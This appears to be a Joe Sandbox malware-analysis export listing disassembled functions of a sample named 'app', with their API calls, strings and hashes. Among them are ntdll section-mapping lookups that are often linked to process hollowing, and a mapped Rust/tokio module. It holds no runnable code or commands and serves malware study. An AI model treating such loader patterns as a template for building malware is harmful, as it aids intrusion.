Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Hook$CallLongNext$AtomClassGlobalNameUnhookWindowWindowslstrcmpi
String ID: #32768$AfxOldWndProc423$ime
API String ID: 1393834995-4034971020
Opcode ID: 07b41bb835b3f37ab2ea62d7d951dc66333286f1985a8da89310b5e237e0c8ee
Instruction ID: 57621b77eae36dfeccc30f2fe0fb6956200ccb49a91ce200666df048497e576e
Opcode Fuzzy Hash: 07b41bb835b3f37ab2ea62d7d951dc66333286f1985a8da89310b5e237e0c8ee
Instruction Fuzzy Hash: 8D519F71600225EBCF21AF50EC08B9A3B75EF09325F904136F814962A0CB79C951CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEAB Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(USER32,?,?,?,0040CFFC), ref: 0040CED4
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 0040CEF0
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0040CF01
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 0040CF12
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 0040CF23
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 0040CF34
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0040CF45
GetProcAddress.KERNEL32(00000000,EnumDisplayDevicesA), ref: 0040CF56

Strings

MonitorFromRect, xrefs: 0040CF0C
EnumDisplayMonitors, xrefs: 0040CF2E
GetSystemMetrics, xrefs: 0040CEEA
USER32, xrefs: 0040CECA
EnumDisplayDevicesA, xrefs: 0040CF50
GetMonitorInfoA, xrefs: 0040CF3F
MonitorFromWindow, xrefs: 0040CEFB
MonitorFromPoint, xrefs: 0040CF1D

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayDevicesA$EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-68207542
Opcode ID: 4079817142a34cec938b4e8f1ad559f573af29b2feabc9793cceecdad33a04ac
Instruction ID: d1c05c8d3ab6442c21aa33543c3d481af1cb9795c094473826c90fb8c1184408
Opcode Fuzzy Hash: 4079817142a34cec938b4e8f1ad559f573af29b2feabc9793cceecdad33a04ac
Instruction Fuzzy Hash: 7A214FB8A84641DBC3019F65ACC092ABAE2F64EB41750097FE214E26E0CB3860569B1F

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5F9 Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 52libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,RtlInitUnicodeString,?,?,?,0040B8FD), ref: 0040B60D
GetProcAddress.KERNEL32(00000000), ref: 0040B616
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection,?,?,?,0040B8FD), ref: 0040B62B
GetProcAddress.KERNEL32(00000000), ref: 0040B62E
GetModuleHandleA.KERNEL32(ntdll.dll,NtOpenSection,?,?,?,0040B8FD), ref: 0040B63F
GetProcAddress.KERNEL32(00000000), ref: 0040B642
GetModuleHandleA.KERNEL32(ntdll.dll,NtMapViewOfSection,?,?,?,0040B8FD), ref: 0040B653
GetProcAddress.KERNEL32(00000000), ref: 0040B656
GetModuleHandleA.KERNEL32(ntdll.dll,RtlNtStatusToDosError,?,?,?,0040B8FD), ref: 0040B667
GetProcAddress.KERNEL32(00000000), ref: 0040B66A

Strings

RtlNtStatusToDosError, xrefs: 0040B661
ntdll.dll, xrefs: 0040B607, 0040B60C, 0040B62A, 0040B63E, 0040B652, 0040B666
NtUnmapViewOfSection, xrefs: 0040B625
RtlInitUnicodeString, xrefs: 0040B602
NtMapViewOfSection, xrefs: 0040B64D
NtOpenSection, xrefs: 0040B639

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtMapViewOfSection$NtOpenSection$NtUnmapViewOfSection$RtlInitUnicodeString$RtlNtStatusToDosError$ntdll.dll
API String ID: 1646373207-1987783197
Opcode ID: 03ece5295bc5d19dd18cc425d4baeeadd3cb99d471744734dea2df15ba55ecb3
Instruction ID: 970ede4e035025aba40728b845774641aeb06da0a28e5589127ba931f0dc7916
Opcode Fuzzy Hash: 03ece5295bc5d19dd18cc425d4baeeadd3cb99d471744734dea2df15ba55ecb3
Instruction Fuzzy Hash: 5CF062E6A4431576DB306B795C85E572EDCE9497907102C73A804E3191DB7DC801EABC

Uniqueness

Uniqueness Score: -1.00%

Function 00402214 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 270stringCOMMON

Download Yara Rule

APIs

CharNextA.USER32(?,?,00000000,004462BC,?,004462BC,%s%s%s,?,00430E68,temp0921.vxd), ref: 0040224A
CharNextA.USER32(00000000,?,004462BC,%s%s%s,?,00430E68,temp0921.vxd), ref: 0040228E
CharNextA.USER32(00000000,?,004462BC,%s%s%s,?,00430E68,temp0921.vxd), ref: 004022BB
CharNextA.USER32(00000000), ref: 004022D0
CharNextA.USER32(00000000), ref: 004022E4
CharNextA.USER32(00000000), ref: 00402305
CharNextA.USER32(00000000), ref: 00402361
lstrlenA.KERNEL32(-00010073), ref: 00402438
OutputDebugStringA.KERNEL32(Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CMyString class.), ref: 0040246B
DebugBreak.KERNEL32 ref: 00402471
CharNextA.USER32(?,?,00000000,004462BC,?,004462BC,%s%s%s,?,00430E68,temp0921.vxd), ref: 004024BD
CharNextA.USER32(?,?,004462BC,%s%s%s,?,00430E68,temp0921.vxd), ref: 004024C6
wvsprintfA.USER32(?,?,?), ref: 004024ED

Strings

Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CMyString class., xrefs: 00402466

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CharNext$Debug$BreakOutputStringlstrlenwvsprintf
String ID: Floating point (%%e, %%f, %%g, and %%G) is not supported by the WTL::CMyString class.
API String ID: 3364312739-4257885759
Opcode ID: a824a2b543f5762c82e423326e6c2dab26c1ef602594b2f11e18d853935b28d7
Instruction ID: 0eedb994684fcdbb03af904bb600abb34cd9bd0cefedc73d8d84e7d0e4219dbe
Opcode Fuzzy Hash: a824a2b543f5762c82e423326e6c2dab26c1ef602594b2f11e18d853935b28d7
Instruction Fuzzy Hash: 0081E1715082425ADB319E388F4C23BBBD4AB55354F58057FE8C0F22D5D6FCCA8A865E

Uniqueness

Uniqueness Score: -1.00%

Function 0041E5CA Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 90libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,0043A978,0000000C,?), ref: 0041E5E2
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0041E5FE
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0041E60F
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0041E61C
GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 0041E632
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 0041E643

Strings

GetLastActivePopup, xrefs: 0041E611
GetActiveWindow, xrefs: 0041E609
, xrefs: 0041E67F
GetUserObjectInformationA, xrefs: 0041E62C
GetProcessWindowStation, xrefs: 0041E63D
MessageBoxA, xrefs: 0041E5F8
user32.dll, xrefs: 0041E5DD

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: $GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$user32.dll
API String ID: 2238633743-752805172
Opcode ID: 3d8efab7ff49af663c91057f34e0c8ce06715d0f196f9146fd83b2926ff60567
Instruction ID: a1566a43e676663f77566d211b6d4cd8a5d02c20358371a1fa29f3d6f93bbe0d
Opcode Fuzzy Hash: 3d8efab7ff49af663c91057f34e0c8ce06715d0f196f9146fd83b2926ff60567
Instruction Fuzzy Hash: 7F219938B00305FADB119FB69C45FAB7AA8EB55784F84013ABD05D1150EB78C881DFAD

Uniqueness

Uniqueness Score: -1.00%

Function 00414B8A Relevance: 21.4, APIs: 14, Instructions: 354windowkeyboardCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 00414BB8
GetParent.USER32(?), ref: 00414C0D
GetParent.USER32(?), ref: 00414C1D
GetKeyState.USER32(00000012), ref: 00414CD3
IsDialogMessageA.USER32(?,?,?,?,?,00000000), ref: 00414D82
GetFocus.USER32 ref: 00414D94
GetFocus.USER32 ref: 00414DA1
IsWindow.USER32(?), ref: 00414DB9
GetFocus.USER32 ref: 00414DC5
IsWindow.USER32(?), ref: 00414DDB
GetFocus.USER32 ref: 00414DE1
GetKeyState.USER32(00000010), ref: 00414E12
MessageBeep.USER32(00000000), ref: 00414EFB
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 00414FE0

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Focus$Message$ParentStateWindow$BeepDialogSend
String ID:
API String ID: 275928742-0
Opcode ID: 29edca6921028beb0b146ee492515b4863a2a01fbf38321ee019951345c7bbf6
Instruction ID: b7f21489c7d6d74e7554cfe8760b2d28968a599f813f330fded3cbbafc593dd2
Opcode Fuzzy Hash: 29edca6921028beb0b146ee492515b4863a2a01fbf38321ee019951345c7bbf6
Instruction Fuzzy Hash: FDC1BF35A00215AADF20AF65D844AFFBBB5EFC4758F55402BE811A7250DB3C9CC2CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 00424031 Relevance: 19.7, APIs: 13, Instructions: 174windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042663C: GetWindowLongA.USER32(?,000000F0), ref: 00426648

GetParent.USER32(?), ref: 0042405C
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 0042407F
GetWindowRect.USER32(?,?), ref: 00424098
GetWindowLongA.USER32(00000000,000000F0), ref: 004240AB
CopyRect.USER32(?,?), ref: 004240F8
CopyRect.USER32(?,?), ref: 00424102
GetWindowRect.USER32(00000000,?), ref: 0042410B
CopyRect.USER32(?,?), ref: 00424127

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID:
API String ID: 808654186-0
Opcode ID: 5c1e3401e94f9ddfb7b0304fefac56a9f4397806790fe2ce614e2b01d900ef57
Instruction ID: 208623173516fe0c4c79c90a83d200c0856f8fa8b1e61f7fada478de943c47ba
Opcode Fuzzy Hash: 5c1e3401e94f9ddfb7b0304fefac56a9f4397806790fe2ce614e2b01d900ef57
Instruction Fuzzy Hash: 31518771A00229ABDB10DBA8DC85EEF77B9EF84314F554125F601F3280D774A9468B58

Uniqueness

Uniqueness Score: -1.00%

Function 0042D2FB Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 182memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,00439AF0), ref: 0042D37B
SysAllocString.OLEAUT32(?), ref: 0042D3A1
lstrlenA.KERNEL32(?,00439AF0), ref: 0042D3B9
SysAllocString.OLEAUT32(00000000), ref: 0042D3DD
lstrlenA.KERNEL32(?,0000F108,?,00000100,d}C,00439AF0), ref: 0042D42E
SysAllocString.OLEAUT32(00000000), ref: 0042D454
lstrlenA.KERNEL32(?), ref: 0042D474
SysAllocString.OLEAUT32(00000000), ref: 0042D498
lstrlenA.KERNEL32(?), ref: 0042D4C1
SysAllocString.OLEAUT32(00000000), ref: 0042D4E2

Strings

d}C, xrefs: 0042D3E8

Memory Dump Source

Source File: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: AllocStringlstrlen
String ID: d}C
API String ID: 98960487-3319508351
Opcode ID: 66b24d67ede51495c4957cf5ca69243bc8b93e62e85c6dcf95a10c59674b6767
Instruction ID: 185ff175cf529db1f2f1588e15c7f847109819f6a9f20bd73b9045780a2bba21
Opcode Fuzzy Hash: 66b24d67ede51495c4957cf5ca69243bc8b93e62e85c6dcf95a10c59674b6767
Instruction Fuzzy Hash: 7451A376A00219ABCB10EF75DD45A9ABBB8EF05314F508527F815D7241D738E990CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 025D42C4 Relevance: 18.4, APIs: 1, Strings: 11, Instructions: 353COMMON

Download Yara Rule

Strings

assertion failed: self.ref_count() > 0, xrefs: 025D5230
[internal exception] blocking task ran twice./registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\runtime\blocking\task.rs, xrefs: 025D52C9
attempt to divide by zero, xrefs: 025D521C
assertion failed: curr.is_join_waker_set(), xrefs: 025D54B4
assertion failed: curr.is_join_interested(), xrefs: 025D54A0, 025D556E
assertion failed: prev.ref_count() >= 1, xrefs: 025D5582, 025D55B5, 025D561A
Invalid, xrefs: 025D528D, 025D54DE
assertion failed: next.is_notified()/registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\runtime\task\state.rs, xrefs: 025D5208
n failed: prev.ref_count() >= 2, xrefs: 025D57BF
cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs, xrefs: 025D5325
assertion failed: snapshot.is_complete()/registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\runtime\task\harness.rs, xrefs: 025D54F2

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID: Invalid$[internal exception] blocking task ran twice./registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\runtime\blocking\task.rs$assertion failed: curr.is_join_interested()$assertion failed: curr.is_join_waker_set()$assertion failed: next.is_notified()/registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\runtime\task\state.rs$assertion failed: prev.ref_count() >= 1$assertion failed: self.ref_count() > 0$assertion failed: snapshot.is_complete()/registry\src\index.crates.io-1cd66030c949c28d\tokio-1.37.0\src\runtime\task\harness.rs$attempt to divide by zero$cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs$n failed: prev.ref_count() >= 2
API String ID: 0-2035208961
Opcode ID: ccc0532e2d474efb6eb899a27a28ec1aa5855810d5f0c1f566743963fd548357
Instruction ID: b842016d36dff0b52c9c6066cfe70e8bffce0c0eaff61ffa640fd49918ae21ab
Opcode Fuzzy Hash: ccc0532e2d474efb6eb899a27a28ec1aa5855810d5f0c1f566743963fd548357
Instruction Fuzzy Hash: 1CD124706002518BDB24DF2CC95075ABBE2FFC5325F68856DE85A9B390EB71EC42CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0259A370 Relevance: 16.8, APIs: 10, Strings: 1, Instructions: 347memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 025CFEC0: HeapFree.KERNEL32(00000000,?), ref: 025D0037
Part of subcall function 025CFEC0: HeapFree.KERNEL32(00000000,?), ref: 025D004C

HeapFree.KERNEL32(00000000,?), ref: 0259A574
HeapFree.KERNEL32(00000000,?), ref: 0259A58F

Strings

Invalid, xrefs: 0259A4D4, 0259A6CF

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID: Invalid
API String ID: 3298025750-874791708
Opcode ID: 048b79132d7841d444e4610d40c491225c5975a6c75bfd698fb6a53a420acd23
Instruction ID: dd95fdc362daacb7e9d45d855ab1c3f83a0eecbc1423566db610e315958f924a
Opcode Fuzzy Hash: 048b79132d7841d444e4610d40c491225c5975a6c75bfd698fb6a53a420acd23
Instruction Fuzzy Hash: CBD19071A083418FDB25DF24D844B6FBBE2BFC8314F14482DE59997250EB35984ACF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041D66E Relevance: 16.8, APIs: 11, Instructions: 299COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,0043A9D4,00000001,00000000,00000000,0043B208,00000038,00417C80,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 0041D695
GetLastError.KERNEL32 ref: 0041D6A7
MultiByteToWideChar.KERNEL32(?,00000000,00417F33,?,00000000,00000000,0043B208,00000038,00417C80,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 0041D72E
MultiByteToWideChar.KERNEL32(?,00000001,00417F33,?,?,00000000), ref: 0041D7AF
LCMapStringW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 0041D7C9
LCMapStringW.KERNEL32(00000000,00000000,?,00000000,?,?), ref: 0041D804

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: String$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1775797328-0
Opcode ID: 4e68df62db2da08941074baaceedf4420aa6fcb3e7720cbc62ad2245d21ccbe8
Instruction ID: f05e7c59ad7515b7832d4e1e93c16c6c87d040a29f1d2ebd5c0f6427fa4a6e31
Opcode Fuzzy Hash: 4e68df62db2da08941074baaceedf4420aa6fcb3e7720cbc62ad2245d21ccbe8
Instruction Fuzzy Hash: C0B139B2D00219EFCF21AFA4DC859EE7B75FF08354F14412AF925A2260D7398DA1DB58

Uniqueness

Uniqueness Score: -1.00%

Function 025CC1E0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 165memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 025CBCE0: AcquireSRWLockExclusive.KERNEL32(00000008), ref: 025CBD39
Part of subcall function 025CBCE0: HeapFree.KERNEL32(00000000,00000000), ref: 025CBDE9
Part of subcall function 025CBCE0: HeapFree.KERNEL32(00000000,?), ref: 025CBDFA
Part of subcall function 025CBCE0: ReleaseSRWLockExclusive.KERNEL32(?), ref: 025CBE0C

Part of subcall function 025BFE20: TlsGetValue.KERNEL32(00000000,00000000,025CC23F), ref: 025BFE2C
Part of subcall function 025BFE20: TlsGetValue.KERNEL32(00000000), ref: 025BFE4A
Part of subcall function 025BFE20: TlsSetValue.KERNEL32(00000000,00000000), ref: 025BFE8A

AcquireSRWLockExclusive.KERNEL32(00000000), ref: 025CC276
HeapFree.KERNEL32(00000000,?), ref: 025CC328
HeapFree.KERNEL32(00000000,00000004), ref: 025CC339
ReleaseSRWLockExclusive.KERNEL32(?), ref: 025CC352
HeapFree.KERNEL32(00000000,00000003), ref: 025CC41D
HeapFree.KERNEL32(00000000,?), ref: 025CC42E

Strings

stdoutstderrlibrary\std\src\io\mod.rs, xrefs: 025CC211
lock count overflow in reentrant mutexlibrary\std\src\sync\remutex.rs, xrefs: 025CC25B
cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs, xrefs: 025CC37B

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$ExclusiveLock$Value$AcquireRelease
String ID: cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs$lock count overflow in reentrant mutexlibrary\std\src\sync\remutex.rs$stdoutstderrlibrary\std\src\io\mod.rs
API String ID: 3691851813-1631872077
Opcode ID: bf985dc5be0ccb763cb945a60c49798bfb5b0934dfacd4d4d8d910dc6f9a170e
Instruction ID: 3ce5c6896de402d979fa9b3c03495f956da2d60eb709fffacea1d32c122e6259
Opcode Fuzzy Hash: bf985dc5be0ccb763cb945a60c49798bfb5b0934dfacd4d4d8d910dc6f9a170e
Instruction Fuzzy Hash: 94618CB1D00208CFDF24CFD4E988BAEBBB5FB08705F14441AE905AB691E7759849CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00422FFC Relevance: 15.1, APIs: 10, Instructions: 120COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 00423039
